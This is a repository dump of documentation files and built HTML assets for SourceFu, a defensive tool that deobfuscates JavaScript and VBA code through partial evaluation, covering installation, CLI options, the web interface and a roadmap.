organization 6 | how to write a desobfuscation routine 7 | how to write the support of another language 8 | -------------------------------------------------------------------------------- /docs/build/html/_sources/index.rst.txt: -------------------------------------------------------------------------------- 1 | .. SourceFu documentation master file, created by 2 | sphinx-quickstart on Thu Jul 20 13:55:24 2017. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | Welcome to SourceFu's documentation! 7 | ==================================== 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :caption: Contents: 12 | 13 | introduction 14 | some state of the art 15 | installation 16 | quickstart 17 | user manual 18 | functioning 19 | planned features 20 | releases 21 | contributing guide 22 | development guide 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /docs/build/html/_sources/installation.rst.txt: -------------------------------------------------------------------------------- 1 | Installation 2 | ************ 3 | 4 | .. warning:: SourceFu has only been used for now on Linux, and does not provide much configuration. As such, only the command line part of SourceFu is officially supported to work on Windows. For a full working solution on Windows, the following instructions should be adapted by the fellowed reader 5 | 6 | CLI 7 | ==== 8 | 9 | SourceFu comes as a full packaged jar file. As such, all you have to do to get SourceFu CLI running is a java-runtime on your machine to launch the jar file. To do so, use your favorite package manager and use the command : 10 | 11 | .. code-block:: none 12 | 13 | $ sudo install openjdk--jre 14 | 15 | You should now be able to get SourceFu by using this command: 16 | 17 | .. code-block:: none 18 | 19 | $ wget https://github.com/Big5-sec/SourceFu/releases/download/Development/sourcefu-latest.jar 20 | 21 | 22 | And finally, here is how to launch SourceFu: 23 | 24 | .. code-block:: none 25 | 26 | $ java -jar sourcefu-latest.jar --help 27 | 28 | 29 | .. note:: to add SourceFu to your path, the best is to copy SourceFu in your /bin directory, then create a bash wrapper in this directory with the command above 30 | 31 | 32 | API server & webserver 33 | ====================== 34 | 35 | To keep track of analyses and such across utilization, those two subcommands of SourceFu require a MongoDB database listening on the default port 27017 on localhost. 36 | 37 | To have MongoDB running, please follow your distribution recommandations (it would be a bit out of scope right now). For Ubuntu, it's as simple as the following: 38 | 39 | .. code-block:: none 40 | 41 | $ sudo apt install mongodb 42 | 43 | You can then check MongoDB service status, and run the following to make sure your mongo is up : 44 | 45 | .. code-block:: none 46 | 47 | $ mongo --eval 'db.runCommand({ connectionStatus: 1 })' 48 | 49 | 50 | You can now launch SourceFu API server, and check for a line like :: 51 | 52 | [qtp35369880-16] INFO org.mongodb.driver.connection - Opened connection [connectionId{localValue:2, serverValue:44}] to localhost:27017 53 | 54 | If this line is present, well, the connection to database is correct! You're now able to use all other modes of SourceFu. 55 | 56 | webserver 57 | ========= 58 | 59 | The current state of SourceFu's webserver requires the use of internet, in order for example to get Bootstrap CSS. This might change in the future... 60 | -------------------------------------------------------------------------------- /docs/build/html/_sources/planned features.rst.txt: -------------------------------------------------------------------------------- 1 | Roadmap 2 | ******* 3 | 4 | Roadmap 5 | ------- 6 | To be honest, there is so much to do that i can't write a roadmap at the moment.... 7 | 8 | 9 | Ideas 10 | ----- 11 | 12 | core 13 | ~~~~ 14 | - always improve code support and deobfusactions routines!!! 15 | - full interpretation : go further for loops and functions interpretation for example 16 | - make analysis like vipermonkey, jsdetox, 17 | - functions inlining 18 | - spaghetti code simplification by basic block tagging 19 | - add support for basic (autoit), and others? 20 | - might be interesting to go further for another langages like python (beh bytecode editing?) 21 | - might propose it to cuckoo when the tool will be quite correct? 22 | - variables renaming based on context 23 | - how to make the diff between optimization and vizualization of code? 24 | - automatically determine if comments are helpful or not? 25 | - automatically recovers elements caracterizing anti-debug and such 26 | - support multiple languages in the same code, like for example when a VBA macro calls an obfuscated Powershell... 27 | - support directly files instead of code (like office ones) 28 | - code formatting and commenting 29 | - add tests, to serve as a basis and an improve point 30 | - javascript support 31 | - powershell support 32 | - vba: object, tables, constant return functions and such 33 | 34 | API server 35 | ~~~~~~~~~~ 36 | - makes it more unified 37 | - change languages and operations detection 38 | 39 | 40 | web interface 41 | ~~~~~~~~~~~~~ 42 | - maybe separate it from api server 43 | - full featured IDE like 44 | - add more properties to the IDE, like direct interaction with picked token (renaming, invoking special routines, etc...) 45 | - add plugins like VT, yara and such 46 | 47 | 48 | tests 49 | ~~~~~ 50 | - make tests for everything 51 | - gather multiple samples on the web 52 | 53 | 54 | documentation 55 | ~~~~~~~~~~~~~ 56 | 57 | 58 | 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /docs/build/html/_sources/releases.rst.txt: -------------------------------------------------------------------------------- 1 | Releases 2 | ******** 3 | 4 | For now SourceFu can't be used as an industrial product. As such, SourceFu will follow a mensual release schedule. At each release, the version is incremented by 0.01. 5 | 6 | Versioning will be reconsidered when SourceFu will reach a stable state. 7 | -------------------------------------------------------------------------------- /docs/build/html/_sources/some state of the art.rst.txt: -------------------------------------------------------------------------------- 1 | Some state of the art 2 | ********************* 3 | 4 | Automatic deobfuscation of source code is not an easy subject. Basically, almost all tools that exist do either the following: 5 | 6 | - a runtime deobfuscation. The idea is basically to run the sample in a sandboxed environment, and use instrumentation to extract interesting information. A simple example is to execute some javascript in a sandboxed environment and replace calls to *eval* function with *alert* or *console.log*. A more advanced example seems to be the AMSI interface of Windows, that seems to provide somehow every call to function with their arguments. An another example (and a great project) is the Vipermonkey project from @decalage2. The idea is to extract every potential interesting calls to functions known to be used in malicious documents and to see their arguments. 7 | - a static deobfuscation based on beautifying and regexes replacement. A good example is the powershell deobfuscator made by endgame (unfortunately not open sourced). 8 | 9 | In the first case, the source code cannot be interacted directly with (what about running yara huh?). It means also that you almost needs an analysis environment capable of interacting with the analyzed language. As such, those tools are often coded in the same language than the one inspected. Also, potentially, a tool can auto-pown itself as code stay executed. 10 | 11 | In the second case, it appears that most of the time those tools do not provide good enough results. 12 | 13 | In order to overcome those caveats, some people proposed to use what is called partial evaluation. The idea for that is to interpret only tiny pieces of a whole AST of the languages, and then modify it to have a more compact AST. It should also provide static transformations not based on the interpretation to simplify the code. Indeed, it avoids a complete interpretation, prone to errors, and avoids potential faults in regexes. This process can also be multi-pass, in order to overcome a multi-layer approach. 14 | 15 | A deobfuscator based on partial evaluation will do things like : 16 | 17 | - dead code elimination 18 | - basic constant folding 19 | - expressions simplification 20 | 21 | Some tools aim at providing such an analysis. Those are JSDetox and JStillery, for javascript only. 22 | 23 | Unfortunately, no other languages have tools that do so. SourceFu aims so at providing a generic tool to answer this caveat, while providing a better deobfuscation framework. 24 | 25 | 26 | -------------------------------------------------------------------------------- /docs/build/html/_sources/user manual.rst.txt: -------------------------------------------------------------------------------- 1 | User manual 2 | *********** 3 | 4 | .. |br| raw:: html 5 | 6 |
7 | 8 | SourceFu provides 3 different ways of working : 9 | 10 | - The first one is the command line interface. Basically, it's a way to invoke direclty SourceFu's routines. Here, no database is used and you have to use files redirection to make sure you keep a trace of modifications made. It's invoked by calling : 11 | 12 | .. code-block:: none 13 | 14 | $ java -jar sourcefu.jar standalone 15 | 16 | A full list of options are presented in the :doc:`underlying manual` 17 | 18 | |br| 19 | - The second one is the API server, using a database allowing us to keep a track of modifications done on samples. By using the provided :doc:`API`, you can code your own tools to interact with SourceFu. It's invoked by : 20 | 21 | .. code-block:: none 22 | 23 | $ java -jar sourcefu.jar apiserver 24 | 25 | |br| 26 | - Finally, the :doc:`web interface` is a way to interact with SourceFu with a user interface, making it more friendly to use. Before using this option, you should make sure to have followed installation instructions. To start the web server, simply enter : 27 | 28 | .. code-block:: none 29 | 30 | $ java -jar sourcefu.jar webserver 31 | 32 | Then, navigates to the following address: ``http://localhost:4567/`` 33 | 34 | |br| 35 | Here are the links to the associated user manuals : 36 | 37 | .. toctree:: 38 | command line interface 39 | API server 40 | web interface 41 | 42 | 43 | -------------------------------------------------------------------------------- /docs/build/html/_sources/web interface.rst.txt: -------------------------------------------------------------------------------- 1 | Web interface 2 | ************* 3 | 4 | This page presents how to use the web interface of SourceFu. 5 | 6 | On accessing the home page, you're presented with the following : 7 | 8 | .. image:: imgs/webserver-1.png 9 | :scale: 40% 10 | :align: center 11 | 12 | Here, it's basically a simple list of all your analyses, with buttons to interact with them. The first button (the gearing) is here to access the parameters of the analysis. However, be aware that the underlying page is not finished nor functional at this time. The second button permits to delete the analysis from the database. Finally, the final button permits to enter into the analysis. Please note that the title in the dark bar permits to go back to this page. 13 | 14 | By clicking the blue button on the right upper side, you can create a new analysis. You're given for this the following form : 15 | 16 | .. image:: imgs/webserver-2.png 17 | :scale: 40% 18 | :align: center 19 | 20 | 21 | On the following form, there two points to note : 22 | - the radio button is not working for now. There won't be analysis launched directly. 23 | - When you're selecting the language of the sample, SourceFu might try to detect it by itself. Be aware that this option may not work due to the way SourceFu makes his analysis. As such, if you're getting an error by selecting "Try to auto-determine", you may try to force the language by setting it expressively. 24 | 25 | 26 | When you go into an analysis, you're presented the following : 27 | 28 | .. image:: imgs/webserver-3.png 29 | :scale: 40% 30 | :align: center 31 | 32 | 33 | This first page is here simply to present some information on the analysis. *Original* stands for the original code, *deobfuscated* is not implemented for now, so don't care, and *current step* represents the code of the current step of the analysis. 34 | 35 | On tabs, the only one interesting for now is work view: 36 | 37 | .. image:: imgs/webserver-4.png 38 | :scale: 40% 39 | :align: center 40 | 41 | In this view, you're presented with an editor at the top, where you can manaually edit files. The *operations* part below permits to launch deobfuscation operations from SourceFu. Simply select the operation you want to be run on the code from the editor, and you're set. Finally, buttons regarding steps permit to set a new step of the analysis, or to load a previous defined step. 42 | -------------------------------------------------------------------------------- /docs/build/html/_static/SourceFu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/SourceFu.png -------------------------------------------------------------------------------- /docs/build/html/_static/ajax-loader.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/ajax-loader.gif -------------------------------------------------------------------------------- /docs/build/html/_static/comment-bright.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/comment-bright.png -------------------------------------------------------------------------------- /docs/build/html/_static/comment-close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/comment-close.png -------------------------------------------------------------------------------- /docs/build/html/_static/comment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/comment.png -------------------------------------------------------------------------------- /docs/build/html/_static/css/badge_only.css: -------------------------------------------------------------------------------- 1 | .fa:before{-webkit-font-smoothing:antialiased}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:""}.clearfix:after{clear:both}@font-face{font-family:FontAwesome;font-weight:normal;font-style:normal;src:url("../fonts/fontawesome-webfont.eot");src:url("../fonts/fontawesome-webfont.eot?#iefix") format("embedded-opentype"),url("../fonts/fontawesome-webfont.woff") format("woff"),url("../fonts/fontawesome-webfont.ttf") format("truetype"),url("../fonts/fontawesome-webfont.svg#FontAwesome") format("svg")}.fa:before{display:inline-block;font-family:FontAwesome;font-style:normal;font-weight:normal;line-height:1;text-decoration:inherit}a .fa{display:inline-block;text-decoration:inherit}li .fa{display:inline-block}li .fa-large:before,li .fa-large:before{width:1.875em}ul.fas{list-style-type:none;margin-left:2em;text-indent:-0.8em}ul.fas li .fa{width:.8em}ul.fas li .fa-large:before,ul.fas li .fa-large:before{vertical-align:baseline}.fa-book:before{content:""}.icon-book:before{content:""}.fa-caret-down:before{content:""}.icon-caret-down:before{content:""}.fa-caret-up:before{content:""}.icon-caret-up:before{content:""}.fa-caret-left:before{content:""}.icon-caret-left:before{content:""}.fa-caret-right:before{content:""}.icon-caret-right:before{content:""}.rst-versions{position:fixed;bottom:0;left:0;width:300px;color:#fcfcfc;background:#1f1d1d;font-family:"Lato","proxima-nova","Helvetica Neue",Arial,sans-serif;z-index:400}.rst-versions a{color:#2980B9;text-decoration:none}.rst-versions .rst-badge-small{display:none}.rst-versions .rst-current-version{padding:12px;background-color:#272525;display:block;text-align:right;font-size:90%;cursor:pointer;color:#27AE60;*zoom:1}.rst-versions .rst-current-version:before,.rst-versions .rst-current-version:after{display:table;content:""}.rst-versions .rst-current-version:after{clear:both}.rst-versions .rst-current-version .fa{color:#fcfcfc}.rst-versions .rst-current-version .fa-book{float:left}.rst-versions .rst-current-version .icon-book{float:left}.rst-versions .rst-current-version.rst-out-of-date{background-color:#E74C3C;color:#fff}.rst-versions .rst-current-version.rst-active-old-version{background-color:#F1C40F;color:#000}.rst-versions.shift-up{height:auto;max-height:100%;overflow-y:scroll}.rst-versions.shift-up .rst-other-versions{display:block}.rst-versions .rst-other-versions{font-size:90%;padding:12px;color:gray;display:none}.rst-versions .rst-other-versions hr{display:block;height:1px;border:0;margin:20px 0;padding:0;border-top:solid 1px #413d3d}.rst-versions .rst-other-versions dd{display:inline-block;margin:0}.rst-versions .rst-other-versions dd a{display:inline-block;padding:6px;color:#fcfcfc}.rst-versions.rst-badge{width:auto;bottom:20px;right:20px;left:auto;border:none;max-width:300px;max-height:90%}.rst-versions.rst-badge .icon-book{float:none}.rst-versions.rst-badge .fa-book{float:none}.rst-versions.rst-badge.shift-up .rst-current-version{text-align:right}.rst-versions.rst-badge.shift-up .rst-current-version .fa-book{float:left}.rst-versions.rst-badge.shift-up .rst-current-version .icon-book{float:left}.rst-versions.rst-badge .rst-current-version{width:auto;height:30px;line-height:30px;padding:0 6px;display:block;text-align:center}@media screen and (max-width: 768px){.rst-versions{width:85%;display:none}.rst-versions.shift{display:block}} 2 | -------------------------------------------------------------------------------- /docs/build/html/_static/custom.css: -------------------------------------------------------------------------------- 1 | /* This file intentionally left blank. */ 2 | -------------------------------------------------------------------------------- /docs/build/html/_static/documentation_options.js: -------------------------------------------------------------------------------- 1 | var DOCUMENTATION_OPTIONS = { 2 | URL_ROOT: document.getElementById("documentation_options").getAttribute('data-url_root'), 3 | VERSION: '0', 4 | LANGUAGE: 'None', 5 | COLLAPSE_INDEX: false, 6 | FILE_SUFFIX: '.html', 7 | HAS_SOURCE: true, 8 | SOURCELINK_SUFFIX: '.txt', 9 | NAVIGATION_WITH_KEYS: false, 10 | }; -------------------------------------------------------------------------------- /docs/build/html/_static/down-pressed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/down-pressed.png -------------------------------------------------------------------------------- /docs/build/html/_static/down.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/down.png -------------------------------------------------------------------------------- /docs/build/html/_static/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/file.png -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Inconsolata-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Inconsolata-Bold.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Inconsolata-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Inconsolata-Regular.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Inconsolata.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Inconsolata.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato-Bold.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato-Regular.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-bold.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-bold.eot -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-bold.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-bold.woff -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-bold.woff2 -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-bolditalic.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-bolditalic.eot -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-bolditalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-bolditalic.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-bolditalic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-bolditalic.woff -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-bolditalic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-bolditalic.woff2 -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-italic.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-italic.eot -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-italic.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-italic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-italic.woff -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-italic.woff2 -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-regular.eot -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-regular.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-regular.woff -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/Lato/lato-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/Lato/lato-regular.woff2 -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab-Bold.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab-Regular.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-bold.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-bold.eot -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-bold.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-bold.woff -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-bold.woff2 -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-regular.eot -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-regular.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-regular.woff -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/RobotoSlab/roboto-slab-v7-regular.woff2 -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /docs/build/html/_static/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_static/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /docs/build/html/_static/js/theme.js: -------------------------------------------------------------------------------- 1 | /* sphinx_rtd_theme version 0.4.3 | MIT license */ 2 | /* Built 20190212 16:02 */ 3 | require=function r(s,a,l){function c(e,n){if(!a[e]){if(!s[e]){var i="function"==typeof require&&require;if(!n&&i)return i(e,!0);if(u)return u(e,!0);var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}var o=a[e]={exports:{}};s[e][0].call(o.exports,function(n){return c(s[e][1][n]||n)},o,o.exports,r,s,a,l)}return a[e].exports}for(var u="function"==typeof require&&require,n=0;n"),i("table.docutils.footnote").wrap("
"),i("table.docutils.citation").wrap("
"),i(".wy-menu-vertical ul").not(".simple").siblings("a").each(function(){var e=i(this);expand=i(''),expand.on("click",function(n){return t.toggleCurrent(e),n.stopPropagation(),!1}),e.prepend(expand)})},reset:function(){var n=encodeURI(window.location.hash)||"#";try{var e=$(".wy-menu-vertical"),i=e.find('[href="'+n+'"]');if(0===i.length){var t=$('.document [id="'+n.substring(1)+'"]').closest("div.section");0===(i=e.find('[href="#'+t.attr("id")+'"]')).length&&(i=e.find('[href="#"]'))}0this.docHeight||(this.navBar.scrollTop(i),this.winPosition=n)},onResize:function(){this.winResize=!1,this.winHeight=this.win.height(),this.docHeight=$(document).height()},hashChange:function(){this.linkScroll=!0,this.win.one("hashchange",function(){this.linkScroll=!1})},toggleCurrent:function(n){var e=n.closest("li");e.siblings("li.current").removeClass("current"),e.siblings().find("li.current").removeClass("current"),e.find("> ul li.current").removeClass("current"),e.toggleClass("current")}},"undefined"!=typeof window&&(window.SphinxRtdTheme={Navigation:e.exports.ThemeNav,StickyNav:e.exports.ThemeNav}),function(){for(var r=0,n=["ms","moz","webkit","o"],e=0;e` 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /docs/source/command line interface.rst: -------------------------------------------------------------------------------- 1 | Command line interface 2 | ********************** 3 | 4 | The command line interface of SourceFu is basically a way to realize one deobfuscation operation on a file, to finally get an output. You can invoke multiple operations at the same time but you don't control the order they are invoked, because they follow the general algorithm presented [there](). If you want to chain deobfuscation operations, you need for now to output each operation in a file, and use this temporary file as an input for a subsequent operation. 5 | 6 | The command line is basically the following: 7 | 8 | .. code-block:: none 9 | 10 | $ java -jar sourcefu.jar [] 11 | 12 | the output file is not mandatory. The result of the operation is indeed somewhat printed to the stdout. However, if you need to save the output of the tool, please use this option. 13 | 14 | In the arguments relative to deobfuscation operations, each switch permits to invoke the underlying deobfuscation operation. If no deobfuscation operation switch is passed, then SourceFu makes a full analysis invoking all operations. If at least one swith is selected, then only the selected switches will be invoked. 15 | 16 | Here is the full list of switches: 17 | 18 | - -B, --beautify perform a beautify operation 19 | - -C, --comments perform a comments deletion operation 20 | - -D, --deadstore perform a deadstore operation 21 | - -E, --empty perform a "empty block deletion" operation 22 | - -K, --constantsmodify perform the transformation of internal language variables 23 | - -R, --rename perform a rename operation 24 | - -V, --partialeval perform the transformation of internal language variables 25 | 26 | When using the contracted arguments, you can pass them as a single argument. Passing ``--BCE`` will for example remove the comments, then remove empty *blocks* in the code, and finally, a beautifying operation is launched. 27 | 28 | The final option is the ``-t, --source-type=`` argument. It's a way to indicate what is the language of the analyzed sample. Indeed, no tool is capable of detecting easily if a sample is from one language or another. SourceFu does so by trying a parsing operation in strict mode, allowing to detect errors. However, parsing is not so simple, and for example, parsing may be the result of errors fallback... If the language of your sample is not detected automatically, then you should use this option to force it. The available possibilites for the input type are *JS* and *VBA*. 29 | 30 | -------------------------------------------------------------------------------- /docs/source/contributing guide.rst: -------------------------------------------------------------------------------- 1 | How to contribute 2 | ***************** 3 | 4 | TBD 5 | -------------------------------------------------------------------------------- /docs/source/development guide.rst: -------------------------------------------------------------------------------- 1 | Development guide 2 | ***************** 3 | 4 | repository organization 5 | code organization 6 | how to write a desobfuscation routine 7 | how to write the support of another language 8 | -------------------------------------------------------------------------------- /docs/source/imgs/SourceFu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/SourceFu.png -------------------------------------------------------------------------------- /docs/source/imgs/ast1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/ast1.png -------------------------------------------------------------------------------- /docs/source/imgs/ast2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/ast2.png -------------------------------------------------------------------------------- /docs/source/imgs/cuckoo.png: 